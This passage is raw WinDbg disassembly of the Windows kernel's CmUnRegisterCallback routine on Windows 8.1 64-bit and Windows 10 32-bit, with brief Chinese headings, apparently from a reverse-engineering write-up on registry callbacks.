(8118aa51)nt! ?? ::NNGAKEGL::`string'+0x798c5:81217f2f 8b4624 mov eax,dword ptr [esi+24h]81217f32 85c0 test eax,eax81217f34 7408 je nt! ?? ::NNGAKEGL::`string'+0x798d4 (81217f3e)nt! ?? ::NNGAKEGL::`string'+0x798cc:81217f36 6a00 push 081217f38 50 push eax81217f39 e8d210ddff call nt!ExFreePoolWithTag (80fe9010)nt! ?? ::NNGAKEGL::`string'+0x798d4:81217f3e 6a00 push 081217f40 56 push esi81217f41 e8ca10ddff call nt!ExFreePoolWithTag (80fe9010)81217f46 e9042bf7ff jmp nt!CmpRegisterCallbackInternal+0x97 (8118aa4f)
    Win8.1 64 位 CmUnRegisterCallbacklkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:fffff803`10797d84 48894c2408 mov qword ptr [rsp+8],rcxfffff803`10797d89 4c8bdc mov r11,rspfffff803`10797d8c 53 push rbxfffff803`10797d8d 56 push rsifffff803`10797d8e 57 push rdifffff803`10797d8f 4154 push r12fffff803`10797d91 4155 push r13fffff803`10797d93 4156 push r14fffff803`10797d95 4157 push r15fffff803`10797d97 4881ec80000000 sub rsp,80hfffff803`10797d9e be0d0000c0 mov esi,0C000000Dhfffff803`10797da3 89b424d8000000 mov dword ptr [rsp+0D8h],esifffff803`10797daa 498363a800 and qword ptr [r11-58h],0fffff803`10797daf 33c0 xor eax,eaxfffff803`10797db1 498943b0 mov qword ptr [r11-50h],raxfffff803`10797db5 498943b8 mov qword ptr [r11-48h],raxfffff803`10797db9 49214380 and qword ptr [r11-80h],raxfffff803`10797dbd e856030000 call nt!CmpLockCallbackListExclusive (fffff803`10798118)fffff803`10797dc2 41be00000080 mov r14d,80000000hnt!CmUnRegisterCallback+0x44:fffff803`10797dc8 4533c0 xor r8d,r8dfffff803`10797dcb 488d542438 lea rdx,[rsp+38h]fffff803`10797dd0 488d0d39f5dbff lea rcx,[nt!CallbackListHead (fffff803`10557310)]fffff803`10797dd7 e85469f1ff call nt!CmListGetNextElement (fffff803`106ae730)fffff803`10797ddc 488bf8 mov rdi,raxfffff803`10797ddf 4889442440 mov qword ptr [rsp+40h],raxfffff803`10797de4 4885c0 test rax,raxfffff803`10797de7 0f845e010000 je nt!CmUnRegisterCallback+0x1c7 (fffff803`10797f4b)nt!CmUnRegisterCallback+0x69:fffff803`10797ded 488b8424c0000000 mov rax,qword ptr [rsp+0C0h]fffff803`10797df5 48394718 cmp qword ptr [rdi+18h],raxfffff803`10797df9 75cd jne nt!CmUnRegisterCallback+0x44 (fffff803`10797dc8)nt!CmUnRegisterCallback+0x77:fffff803`10797dfb 8b4710 mov eax,dword ptr [rdi+10h]fffff803`10797dfe 898424d0000000 mov dword ptr [rsp+0D0h],eaxfffff803`10797e05 85c0 test eax,eaxfffff803`10797e07 0f85c6000000 jne nt!CmUnRegisterCallback+0x14f (fffff803`10797ed3)nt!CmUnRegisterCallback+0x89:fffff803`10797e0d 488b0f mov rcx,qword ptr [rdi]fffff803`10797e10 488b4708 mov rax,qword ptr [rdi+8]fffff803`10797e14 48397908 cmp qword ptr [rcx+8],rdifffff803`10797e18 0f8598bc0900 jne nt! ?? ::NNGAKEGL::`string'+0x84eb6 (fffff803`10833ab6)nt!CmUnRegisterCallback+0x9a:fffff803`10797e1e 483938 cmp qword ptr [rax],rdifffff803`10797e21 0f858fbc0900 jne nt! ?? ::NNGAKEGL::`string'+0x84eb6 (fffff803`10833ab6)nt!CmUnRegisterCallback+0xa3:fffff803`10797e27 488908 mov qword ptr [rax],rcxfffff803`10797e2a 48894108 mov qword ptr [rcx+8],raxfffff803`10797e2e e8116afcff call nt!CmpUnlockCallbackList (fffff803`1075e844)fffff803`10797e33 33f6 xor esi,esifffff803`10797e35 89b424d8000000 mov dword ptr [rsp+0D8h],esint!CmUnRegisterCallback+0xb8:fffff803`10797e3c 488d442450 lea rax,[rsp+50h]fffff803`10797e41 4889442458 mov qword ptr [rsp+58h],raxfffff803`10797e46 488d442450 lea rax,[rsp+50h]fffff803`10797e4b 4889442450 mov qword ptr [rsp+50h],raxfffff803`10797e50 4532f6 xor r14b,r14bfffff803`10797e53 4488b424c8000000 mov byte ptr [rsp+0C8h],r14bfffff803`10797e5b e894030000 call nt!CmpLockContextListExclusive (fffff803`107981f4)fffff803`10797e60 4c8d6740 lea r12,[rdi+40h]fffff803`10797e64 498b1c24 mov rbx,qword ptr [r12]nt!CmUnRegisterCallback+0xe4:fffff803`10797e68 48895c2430 mov qword ptr [rsp+30h],rbxfffff803`10797e6d 493bdc cmp rbx,r12fffff803`10797e70 0f8547bc0900 jne nt! ?? ::NNGAKEGL::`string'+0x84ebd (fffff803`10833abd)nt!CmUnRegisterCallback+0xf2:fffff803`10797e76 e8f1020000 call nt!CmpUnlockContextList (fffff803`1079816c)nt!CmUnRegisterCallback+0xf7:fffff803`10797e7b 488d4c2450 lea rcx,[rsp+50h]fffff803`10797e80 488b442450 mov rax,qword ptr [rsp+50h]fffff803`10797e85 483bc1 cmp rax,rcxfffff803`10797e88 0f85c6bc0900 jne nt! ?? ::NNGAKEGL::`string'+0x84f54 (fffff803`10833b54)nt!CmUnRegisterCallback+0x10a:fffff803`10797e8e 4584f6 test r14b,r14bfffff803`10797e91 0f8549bd0900 jne nt! ?? ::NNGAKEGL::`string'+0x84fe0 (fffff803`10833be0)nt!CmUnRegisterCallback+0x113:fffff803`10797e97 f0ff0deebfd8ff lock dec dword ptr [nt!CmpCallBackCount (fffff803`10523e8c)]fffff803`10797e9e 0f8485bd0900 je nt! ?? ::NNGAKEGL::`string'+0x85029 (fffff803`10833c29)nt!CmUnRegisterCallback+0x120:fffff803`10797ea4 488b4f38 mov rcx,qword ptr [rdi+38h]fffff803`10797ea8 4885c9 test rcx,rcxfffff803`10797eab 7407 je nt!CmUnRegisterCallback+0x130 (fffff803`10797eb4)nt!CmUnRegisterCallback+0x129:fffff803`10797ead 33d2 xor edx,edxfffff803`10797eaf e86cdfd7ff call nt!ExFreePoolWithTag (fffff803`10515e20)nt!CmUnRegisterCallback+0x130:fffff803`10797eb4 33d2 xor edx,edxfffff803`10797eb6 488bcf mov rcx,rdifffff803`10797eb9 e862dfd7ff call nt!ExFreePoolWithTag (fffff803`10515e20)nt!CmUnRegisterCallback+0x13a:fffff803`10797ebe 8bc6 mov eax,esifffff803`10797ec0 4881c480000000 add rsp,80hfffff803`10797ec7 415f pop r15fffff803`10797ec9 415e pop r14fffff803`10797ecb 415d pop r13fffff803`10797ecd 415c pop r12fffff803`10797ecf 5f pop rdifffff803`10797ed0 5e pop rsifffff803`10797ed1 5b pop rbxfffff803`10797ed2 c3 retnt!CmUnRegisterCallback+0x14f:fffff803`10797ed3 4185c6 test r14d,eaxfffff803`10797ed6 0f85ecfeffff jne nt!CmUnRegisterCallback+0x44 (fffff803`10797dc8)nt!CmUnRegisterCallback+0x158:fffff803`10797edc 488d5f10 lea rbx,[rdi+10h]fffff803`10797ee0 f0810b00000080 lock or dword ptr [rbx],80000000hfffff803`10797ee7 e85869fcff call nt!CmpUnlockCallbackList (fffff803`1075e844)nt!CmUnRegisterCallback+0x168:fffff803`10797eec 8b03 mov eax,dword ptr [rbx]fffff803`10797eee 898424d0000000 mov dword ptr [rsp+0D0h],eaxfffff803`10797ef5 413bc6 cmp eax,r14dfffff803`10797ef8 7425 je nt!CmUnRegisterCallback+0x19b (fffff803`10797f1f)nt!CmUnRegisterCallback+0x176:fffff803`10797efa 488364242000 and qword ptr [rsp+20h],0fffff803`10797f00 41b904000000 mov r9d,4fffff803`10797f06 4c8d8424d0000000 lea r8,[rsp+0D0h]fffff803`10797f0e 488bd3 mov rdx,rbxfffff803`10797f11 488d0d08f4dbff lea rcx,[nt!CallbackListDeleteEvent (fffff803`10557320)]fffff803`10797f18 e88313baff call nt!ExBlockOnAddressPushLock (fffff803`103392a0)fffff803`10797f1d ebcd jmp nt!CmUnRegisterCallback+0x168 (fffff803`10797eec)nt!CmUnRegisterCallback+0x19b:fffff803`10797f1f e8f4010000 call nt!CmpLockCallbackListExclusive (fffff803`10798118)fffff803`10797f24 488b0f mov rcx,qword ptr [rdi]fffff803`10797f27 488b4708 mov rax,qword ptr [rdi+8]fffff803`10797f2b 48397908 cmp qword ptr [rcx+8],rdifffff803`10797f2f 7524 jne nt!CmUnRegisterCallback+0x1d1 (fffff803`10797f55)nt!CmUnRegisterCallback+0x1ad:fffff803`10797f31 483938 cmp qword ptr [rax],rdifffff803`10797f34 751f jne nt!CmUnRegisterCallback+0x1d1 (fffff803`10797f55)nt!CmUnRegisterCallback+0x1b2:fffff803`10797f36 488908 mov qword ptr [rax],rcxfffff803`10797f39 48894108 mov qword ptr [rcx+8],raxfffff803`10797f3d e80269fcff call nt!CmpUnlockCallbackList (fffff803`1075e844)fffff803`10797f42 33f6 xor esi,esifffff803`10797f44 89b424d8000000 mov dword ptr [rsp+0D8h],esint!CmUnRegisterCallback+0x1c7:fffff803`10797f4b 85f6 test esi,esifffff803`10797f4d 0f89e9feffff jns nt!CmUnRegisterCallback+0xb8 (fffff803`10797e3c)nt!CmUnRegisterCallback+0x1cf:fffff803`10797f53 eb07 jmp nt!CmUnRegisterCallback+0x1d8 (fffff803`10797f5c)nt!CmUnRegisterCallback+0x1d1:fffff803`10797f55 b903000000 mov ecx,3fffff803`10797f5a cd29 int 29hnt!CmUnRegisterCallback+0x1d8:fffff803`10797f5c e8e368fcff call nt!CmpUnlockCallbackList (fffff803`1075e844)fffff803`10797f61 e958ffffff jmp nt!CmUnRegisterCallback+0x13a (fffff803`10797ebe)nt! ?? ::NNGAKEGL::`string'+0x84eb6:fffff803`10833ab6 b903000000 mov ecx,3fffff803`10833abb cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84ebd:fffff803`10833abd 4c8b2b mov r13,qword ptr [rbx]fffff803`10833ac0 4c8d7bf0 lea r15,[rbx-10h]fffff803`10833ac4 498b4f30 mov rcx,qword ptr [r15+30h]fffff803`10833ac8 e8c712abff call nt!ObReferenceObjectSafe (fffff803`102e4d94)fffff803`10833acd 84c0 test al,alfffff803`10833acf 745b je nt! ?? ::NNGAKEGL::`string'+0x84f2c (fffff803`10833b2c)nt! ?? ::NNGAKEGL::`string'+0x84ed1:fffff803`10833ad1 498d4710 lea rax,[r15+10h]fffff803`10833ad5 488b10 mov rdx,qword ptr [rax]fffff803`10833ad8 488b4808 mov rcx,qword ptr [rax+8]fffff803`10833adc 48394208 cmp qword ptr [rdx+8],raxfffff803`10833ae0 756b jne nt! ?? ::NNGAKEGL::`string'+0x84f4d (fffff803`10833b4d)nt! ?? ::NNGAKEGL::`string'+0x84ee2:fffff803`10833ae2 483901 cmp qword ptr [rcx],raxfffff803`10833ae5 7566 jne nt! ?? ::NNGAKEGL::`string'+0x84f4d (fffff803`10833b4d)nt! ?? ::NNGAKEGL::`string'+0x84ee7:fffff803`10833ae7 488911 mov qword ptr [rcx],rdxfffff803`10833aea 48894a08 mov qword ptr [rdx+8],rcxfffff803`10833aee 498b0f mov rcx,qword ptr [r15]fffff803`10833af1 498b4708 mov rax,qword ptr [r15+8]fffff803`10833af5 4c397908 cmp qword ptr [rcx+8],r15fffff803`10833af9 754b jne nt! ?? ::NNGAKEGL::`string'+0x84f46 (fffff803`10833b46)nt! ?? ::NNGAKEGL::`string'+0x84efb:fffff803`10833afb 4c3938 cmp qword ptr [rax],r15fffff803`10833afe 7546 jne nt! ?? ::NNGAKEGL::`string'+0x84f46 (fffff803`10833b46)nt! ?? ::NNGAKEGL::`string'+0x84f00:fffff803`10833b00 488908 mov qword ptr [rax],rcxfffff803`10833b03 48894108 mov qword ptr [rcx+8],raxfffff803`10833b07 488b442458 mov rax,qword ptr [rsp+58h]fffff803`10833b0c 488d4c2450 lea rcx,[rsp+50h]fffff803`10833b11 48890b mov qword ptr [rbx],rcxfffff803`10833b14 48894308 mov qword ptr [rbx+8],raxfffff803`10833b18 488d4c2450 lea rcx,[rsp+50h]fffff803`10833b1d 483908 cmp qword ptr [rax],rcxfffff803`10833b20 751d jne nt! ?? ::NNGAKEGL::`string'+0x84f3f (fffff803`10833b3f)nt! ?? ::NNGAKEGL::`string'+0x84f22:fffff803`10833b22 488918 mov qword ptr [rax],rbxfffff803`10833b25 48895c2458 mov qword ptr [rsp+58h],rbxfffff803`10833b2a eb0b jmp nt! ?? ::NNGAKEGL::`string'+0x84f37 (fffff803`10833b37)nt! ?? ::NNGAKEGL::`string'+0x84f2c:fffff803`10833b2c 41b601 mov r14b,1fffff803`10833b2f 4488b424c8000000 mov byte ptr [rsp+0C8h],r14bnt! ?? ::NNGAKEGL::`string'+0x84f37:fffff803`10833b37 498bdd mov rbx,r13fffff803`10833b3a e92943f6ff jmp nt!CmUnRegisterCallback+0xe4 (fffff803`10797e68)nt! ?? ::NNGAKEGL::`string'+0x84f3f:fffff803`10833b3f b903000000 mov ecx,3fffff803`10833b44 cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84f46:fffff803`10833b46 b903000000 mov ecx,3fffff803`10833b4b cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84f4d:fffff803`10833b4d b903000000 mov ecx,3fffff803`10833b52 cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84f54:fffff803`10833b54 488b08 mov rcx,qword ptr [rax]fffff803`10833b57 488d542450 lea rdx,[rsp+50h]fffff803`10833b5c 48395008 cmp qword ptr [rax+8],rdxfffff803`10833b60 7577 jne nt! ?? ::NNGAKEGL::`string'+0x84fd9 (fffff803`10833bd9)nt! ?? ::NNGAKEGL::`string'+0x84f62:fffff803`10833b62 48394108 cmp qword ptr [rcx+8],raxfffff803`10833b66 7571 jne nt! ?? ::NNGAKEGL::`string'+0x84fd9 (fffff803`10833bd9)nt! ?? ::NNGAKEGL::`string'+0x84f68:fffff803`10833b68 48894c2450 mov qword ptr [rsp+50h],rcxfffff803`10833b6d 488d542450 lea rdx,[rsp+50h]fffff803`10833b72 48895108 mov qword ptr [rcx+8],rdxfffff803`10833b76 488d58f0 lea rbx,[rax-10h]fffff803`10833b7a 48895c2448 mov qword ptr [rsp+48h],rbxfffff803`10833b7f 488b4330 mov rax,qword ptr [rbx+30h]fffff803`10833b83 4889442460 mov qword ptr [rsp+60h],raxfffff803`10833b88 488b4338 mov rax,qword ptr [rbx+38h]fffff803`10833b8c 4889442468 mov qword ptr [rsp+68h],raxfffff803`10833b91 4c8d442460 lea r8,[rsp+60h]fffff803`10833b96 ba28000000 mov edx,28hfffff803`10833b9b 488b4f20 mov rcx,qword ptr [rdi+20h]fffff803`10833b9f ff5728 call qword ptr [rdi+28h]fffff803`10833ba2 eb19 jmp nt! ?? ::NNGAKEGL::`string'+0x84fbd (fffff803`10833bbd)nt! ?? ::NNGAKEGL::`string'+0x84fbd:fffff803`10833bbd 488b4b30 mov rcx,qword ptr [rbx+30h]fffff803`10833bc1 e80a64abff call nt!ObfDereferenceObject (fffff803`102e9fd0)fffff803`10833bc6 ba434d6363 mov edx,63634D43hfffff803`10833bcb 488bcb mov rcx,rbxfffff803`10833bce e84d22ceff call nt!ExFreePoolWithTag (fffff803`10515e20)fffff803`10833bd3 90 nopfffff803`10833bd4 e9a242f6ff jmp nt!CmUnRegisterCallback+0xf7 (fffff803`10797e7b)nt! ?? ::NNGAKEGL::`string'+0x84fd9:fffff803`10833bd9 b903000000 mov ecx,3fffff803`10833bde cd29 int 29hnt! ?? ::NNGAKEGL::`string'+0x84fe0:fffff803`10833be0 e80f46f6ff call nt!CmpLockContextListExclusive (fffff803`107981f4)fffff803`10833be5 4c8d7f40 lea r15,[rdi+40h]fffff803`10833be9 498b1f mov rbx,qword ptr [r15]fffff803`10833bec 48895c2430 mov qword ptr [rsp+30h],rbxfffff803`10833bf1 e87645f6ff call nt!CmpUnlockContextList (fffff803`1079816c)fffff803`10833bf6 493bdf cmp rbx,r15fffff803`10833bf9 7426 je nt! ?? ::NNGAKEGL::`string'+0x85021 (fffff803`10833c21)nt! ?? ::NNGAKEGL::`string'+0x84ffb:fffff803`10833bfb 488364242000 and qword ptr [rsp+20h],0fffff803`10833c01 41b908000000 mov r9d,8fffff803`10833c07 4c8d442430 lea r8,[rsp+30h]fffff803`10833c0c 498bd7 mov rdx,r15fffff803`10833c0f 488d0d0a37d2ff lea rcx,[nt!CallbackListDeleteEvent (fffff803`10557320)]fffff803`10833c16 e88556b0ff call nt!ExBlockOnAddressPushLock (fffff803`103392a0)fffff803`10833c1b 90 nopfffff803`10833c1c e96d42f6ff jmp nt!CmUnRegisterCallback+0x10a (fffff803`10797e8e)nt! ?? ::NNGAKEGL::`string'+0x85021:fffff803`10833c21 4532f6 xor r14b,r14bfffff803`10833c24 e96542f6ff jmp nt!CmUnRegisterCallback+0x10a (fffff803`10797e8e)nt! ?? ::NNGAKEGL::`string'+0x85029:fffff803`10833c29 488d0dd057d2ff lea rcx,[nt!CmpCallbackContextSList (fffff803`10559400)]fffff803`10833c30 e85b51baff call nt!ExpInterlockedFlushSList (fffff803`103d8d90)fffff803`10833c35 488bd8 mov rbx,raxnt! ?? ::NNGAKEGL::`string'+0x85038:fffff803`10833c38 4885db test rbx,rbxfffff803`10833c3b 0f846342f6ff je nt!CmUnRegisterCallback+0x120 (fffff803`10797ea4)nt! ?? ::NNGAKEGL::`string'+0x85041:fffff803`10833c41 488bcb mov rcx,rbxfffff803`10833c44 488b1b mov rbx,qword ptr [rbx]fffff803`10833c47 33d2 xor edx,edxfffff803`10833c49 e8d221ceff call nt!ExFreePoolWithTag (fffff803`10515e20)fffff803`10833c4e ebe8 jmp nt! ?? ::NNGAKEGL::`string'+0x85038 (fffff803`10833c38)
    Win10 32 位 CmUnRegisterCallbackkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:81ee7c8f 6a38 push 38h81ee7c91 6880eac881 push offset nt!RtlpSparseBitmapCtxUpdateBits+0x6a49 (81c8ea80)81ee7c96 e8154bcbff call nt!_SEH_prolog4 (81b9c7b0)81ee7c9b 33db xor ebx,ebx81ee7c9d 895dbc mov dword ptr [ebp-44h],ebx81ee7ca0 895dc0 mov dword ptr [ebp-40h],ebx81ee7ca3 895dc4 mov dword ptr [ebp-3Ch],ebx81ee7ca6 895dd0 mov dword ptr [ebp-30h],ebx81ee7ca9 64a124010000 mov eax,dword ptr fs:[00000124h]81ee7caf 66ff883c010000 dec word ptr [eax+13Ch]81ee7cb6 53 push ebx81ee7cb7 33d2 xor edx,edx81ee7cb9 bf9817cb81 mov edi,offset nt!CmpCallbackListLock (81cb1798)81ee7cbe 8bcf mov ecx,edi81ee7cc0 e85b8dc4ff call nt!KeAbPreAcquire (81b30a20)81ee7cc5 8bf0 mov esi,eax81ee7cc7 f00fba2f00 lock bts dword ptr [edi],081ee7ccc 730a jae nt!CmUnRegisterCallback+0x49 (81ee7cd8)nt!CmUnRegisterCallback+0x3f:81ee7cce 57 push edi81ee7ccf 8bd6 mov edx,esi81ee7cd1 8bcf mov ecx,edi81ee7cd3 e82877bbff call nt!ExfAcquirePushLockExclusiveEx (81a9f400)nt!CmUnRegisterCallback+0x49:81ee7cd8 85f6 test esi,esi81ee7cda 7407 je nt!CmUnRegisterCallback+0x54 (81ee7ce3)nt!CmUnRegisterCallback+0x4d:81ee7cdc 8b4610 mov eax,dword ptr [esi+10h]81ee7cdf 804e0e01 or byte ptr [esi+0Eh],1nt!CmUnRegisterCallback+0x54:81ee7ce3 53 push ebx81ee7ce4 8d55d0 lea edx,[ebp-30h]81ee7ce7 b9a017cb81 mov ecx,offset nt!CallbackListHead (81cb17a0)81ee7cec e853cae8ff call nt!CmListGetNextElement (81d74744)81ee7cf1 8bf0 mov esi,eax81ee7cf3 8975dc mov dword ptr [ebp-24h],esi81ee7cf6 85f6 test esi,esi81ee7cf8 0f8496040000 je nt!CmUnRegisterCallback+0x505 (81ee8194)nt!CmUnRegisterCallback+0x6f:81ee7cfe 8b4e10 mov ecx,dword ptr [esi+10h]81ee7d01 3b4d08 cmp ecx,dword ptr [ebp+8]81ee7d04 75dd jne nt!CmUnRegisterCallback+0x54 (81ee7ce3)nt!CmUnRegisterCallback+0x77:81ee7d06 8b4e14 mov ecx,dword ptr [esi+14h]81ee7d09 3b4d0c cmp ecx,dword ptr [ebp+0Ch]81ee7d0c 75d5 jne nt!CmUnRegisterCallback+0x54 (81ee7ce3)nt!CmUnRegisterCallback+0x7f:81ee7d0e 8b4608 mov eax,dword ptr [esi+8]81ee7d11 8945e0 mov dword ptr [ebp-20h],eax81ee7d14 3bc3 cmp eax,ebx81ee7d16 0f8412010000 je nt!CmUnRegisterCallback+0x19f (81ee7e2e)nt!CmUnRegisterCallback+0x8d:81ee7d1c b800000080 mov eax,80000000h81ee7d21 8545e0 test dword ptr [ebp-20h],eax81ee7d24 75bd jne nt!CmUnRegisterCallback+0x54 (81ee7ce3)nt!CmUnRegisterCallback+0x97:81ee7d26 8d7e08 lea edi,[esi+8]81ee7d29 f00907 lock or dword ptr [edi],eax81ee7d2c 8b0d9817cb81 mov ecx,dword ptr [nt!CmpCallbackListLock (81cb1798)]81ee7d32 8bc1 mov eax,ecx81ee7d34 83e0f0 and eax,0FFFFFFF0h81ee7d37 83f810 cmp eax,10h81ee7d3a 8d51f0 lea edx,[ecx-10h]81ee7d3d 7702 ja nt!CmUnRegisterCallback+0xb2 (81ee7d41)nt!CmUnRegisterCallback+0xb0:81ee7d3f 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0xb2:81ee7d41 f6c102 test cl,281ee7d44 7512 jne nt!CmUnRegisterCallback+0xc9 (81ee7d58)nt!CmUnRegisterCallback+0xb7:81ee7d46 8bc1 mov eax,ecx81ee7d48 be9817cb81 mov esi,offset nt!CmpCallbackListLock (81cb1798)81ee7d4d f00fb116 lock cmpxchg dword ptr [esi],edx81ee7d51 3bc1 cmp eax,ecx81ee7d53 8b75dc mov esi,dword ptr [ebp-24h]81ee7d56 740a je nt!CmUnRegisterCallback+0xd3 (81ee7d62)nt!CmUnRegisterCallback+0xc9:81ee7d58 b99817cb81 mov ecx,offset nt!CmpCallbackListLock (81cb1798)81ee7d5d e81e87bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0xd3:81ee7d62 b99817cb81 mov ecx,offset nt!CmpCallbackListLock (81cb1798)81ee7d67 e8f488c4ff call nt!KeAbPostRelease (81b30660)81ee7d6c 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee7d73 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee7d7a 40 inc eax81ee7d7b 6689813c010000 mov word ptr [ecx+13Ch],ax81ee7d82 6685c0 test ax,ax81ee7d85 752a jne nt!CmUnRegisterCallback+0x122 (81ee7db1)nt!CmUnRegisterCallback+0xf8:81ee7d87 8d4170 lea eax,[ecx+70h]81ee7d8a 3900 cmp dword ptr [eax],eax81ee7d8c 7423 je nt!CmUnRegisterCallback+0x122 (81ee7db1)nt!CmUnRegisterCallback+0xff:81ee7d8e 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee7d95 751a jne nt!CmUnRegisterCallback+0x122 (81ee7db1)nt!CmUnRegisterCallback+0x108:81ee7d97 e8707abbff call nt!KiCheckForKernelApcDelivery (81a9f80c)81ee7d9c eb13 jmp nt!CmUnRegisterCallback+0x122 (81ee7db1)nt!CmUnRegisterCallback+0x10f:81ee7d9e 53 push ebx81ee7d9f 6a04 push 481ee7da1 8d45e0 lea eax,[ebp-20h]81ee7da4 50 push eax81ee7da5 8bd7 mov edx,edi81ee7da7 b9a817cb81 mov ecx,offset nt!CallbackListDeleteEvent (81cb17a8)81ee7dac e8c715c1ff call nt!ExBlockOnAddressPushLock (81af9378)nt!CmUnRegisterCallback+0x122:81ee7db1 8b07 mov eax,dword ptr [edi]81ee7db3 8945e0 mov dword ptr [ebp-20h],eax81ee7db6 3d00000080 cmp eax,80000000h81ee7dbb 75e1 jne nt!CmUnRegisterCallback+0x10f (81ee7d9e)nt!CmUnRegisterCallback+0x12e:81ee7dbd 64a124010000 mov eax,dword ptr fs:[00000124h]81ee7dc3 66ff883c010000 dec word ptr [eax+13Ch]81ee7dca 53 push ebx81ee7dcb 33d2 xor edx,edx81ee7dcd b99817cb81 mov ecx,offset nt!CmpCallbackListLock (81cb1798)81ee7dd2 e8498cc4ff call nt!KeAbPreAcquire (81b30a20)81ee7dd7 8bf8 mov edi,eax81ee7dd9 b89817cb81 mov eax,offset nt!CmpCallbackListLock (81cb1798)81ee7dde f00fba2800 lock bts dword ptr [eax],081ee7de3 730a jae nt!CmUnRegisterCallback+0x160 (81ee7def)nt!CmUnRegisterCallback+0x156:81ee7de5 50 push eax81ee7de6 8bd7 mov edx,edi81ee7de8 8bc8 mov ecx,eax81ee7dea e81176bbff call nt!ExfAcquirePushLockExclusiveEx (81a9f400)nt!CmUnRegisterCallback+0x160:81ee7def 85ff test edi,edi81ee7df1 7407 je nt!CmUnRegisterCallback+0x16b (81ee7dfa)nt!CmUnRegisterCallback+0x164:81ee7df3 8b4710 mov eax,dword ptr [edi+10h]81ee7df6 804f0e01 or byte ptr [edi+0Eh],1nt!CmUnRegisterCallback+0x16b:81ee7dfa 8b0e mov ecx,dword ptr [esi]81ee7dfc 8b4604 mov eax,dword ptr [esi+4]81ee7dff 397104 cmp dword ptr [ecx+4],esi81ee7e02 7525 jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x175:81ee7e04 3930 cmp dword ptr [eax],esi81ee7e06 7521 jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x179:81ee7e08 8908 mov dword ptr [eax],ecx81ee7e0a 894104 mov dword ptr [ecx+4],eax81ee7e0d 8b0d9817cb81 mov ecx,dword ptr [nt!CmpCallbackListLock (81cb1798)]81ee7e13 8bc1 mov eax,ecx81ee7e15 83e0f0 and eax,0FFFFFFF0h81ee7e18 83f810 cmp eax,10h81ee7e1b 8d51f0 lea edx,[ecx-10h]81ee7e1e 7702 ja nt!CmUnRegisterCallback+0x193 (81ee7e22)nt!CmUnRegisterCallback+0x191:81ee7e20 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x193:81ee7e22 bf9817cb81 mov edi,offset nt!CmpCallbackListLock (81cb1798)81ee7e27 eb2d jmp nt!CmUnRegisterCallback+0x1c7 (81ee7e56)nt!CmUnRegisterCallback+0x19a:81ee7e29 6a03 push 381ee7e2b 59 pop ecx81ee7e2c cd29 int 29hnt!CmUnRegisterCallback+0x19f:81ee7e2e 8b0e mov ecx,dword ptr [esi]81ee7e30 8b4604 mov eax,dword ptr [esi+4]81ee7e33 397104 cmp dword ptr [ecx+4],esi81ee7e36 75f1 jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x1a9:81ee7e38 3930 cmp dword ptr [eax],esi81ee7e3a 75ed jne nt!CmUnRegisterCallback+0x19a (81ee7e29)nt!CmUnRegisterCallback+0x1ad:81ee7e3c 8908 mov dword ptr [eax],ecx81ee7e3e 894104 mov dword ptr [ecx+4],eax81ee7e41 8b0d9817cb81 mov ecx,dword ptr [nt!CmpCallbackListLock (81cb1798)]81ee7e47 8bc1 mov eax,ecx81ee7e49 83e0f0 and eax,0FFFFFFF0h81ee7e4c 83f810 cmp eax,10h81ee7e4f 8d51f0 lea edx,[ecx-10h]81ee7e52 7702 ja nt!CmUnRegisterCallback+0x1c7 (81ee7e56)nt!CmUnRegisterCallback+0x1c5:81ee7e54 8bd3 mov edx,ebxnt!CmUnRegisterCallback+0x1c7:81ee7e56 f6c102 test cl,281ee7e59 750a jne nt!CmUnRegisterCallback+0x1d6 (81ee7e65)nt!CmUnRegisterCallback+0x1cc:81ee7e5b 8bc1 mov eax,ecx81ee7e5d f00fb117 lock cmpxchg dword ptr [edi],edx81ee7e61 3bc1 cmp eax,ecx81ee7e63 7407 je nt!CmUnRegisterCallback+0x1dd (81ee7e6c)nt!CmUnRegisterCallback+0x1d6:81ee7e65 8bcf mov ecx,edi81ee7e67 e81486bbff call nt!ExfReleasePushLock (81aa0480)nt!CmUnRegisterCallback+0x1dd:81ee7e6c 8bcf mov ecx,edi81ee7e6e e8ed87c4ff call nt!KeAbPostRelease (81b30660)81ee7e73 648b0d24010000 mov ecx,dword ptr fs:[124h]81ee7e7a 0fbf813c010000 movsx eax,word ptr [ecx+13Ch]81ee7e81 40 inc eax81ee7e82 6685c0 test ax,ax81ee7e85 6689813c010000 mov word ptr [ecx+13Ch],ax81ee7e8c 7515 jne nt!CmUnRegisterCallback+0x214 (81ee7ea3)nt!CmUnRegisterCallback+0x1ff:81ee7e8e 8d4170 lea eax,[ecx+70h]81ee7e91 3900 cmp dword ptr [eax],eax81ee7e93 740e je nt!CmUnRegisterCallback+0x214 (81ee7ea3)nt!CmUnRegisterCallback+0x206:81ee7e95 6639993e010000 cmp word ptr [ecx+13Eh],bx81ee7e9c 7505 jne nt!CmUnRegisterCallback+0x214 (81ee7ea3)nt!CmUnRegisterCallback+0x20f:81ee7e9e e86979bbff call nt!KiCheckForKernelApcDelivery (81a9f80c)nt!CmUnRegisterCallback+0x214:81ee7ea3 895dd4 mov dword ptr [ebp-2Ch],ebx81ee7ea6 8d45c8 lea eax,[ebp-38h]81ee7ea9 8945cc mov dword ptr [ebp-34h],eax81ee7eac 8945c8 mov dword ptr [ebp-38h],eax81ee7eaf 885de7 mov byte ptr [ebp-19h],bl81ee7eb2 64a124010000 mov eax,dword ptr fs:[00000124h]81ee7eb8 66ff883c010000 dec word ptr [eax+13Ch]81ee7ebf 53 push ebx81ee7ec0 33d2 xor edx,edx81ee7ec2 bf9c17cb81 mov edi,offset nt!CmpContextListLock (81cb179c)81ee7ec7 8bcf mov ecx,edi81ee7ec9 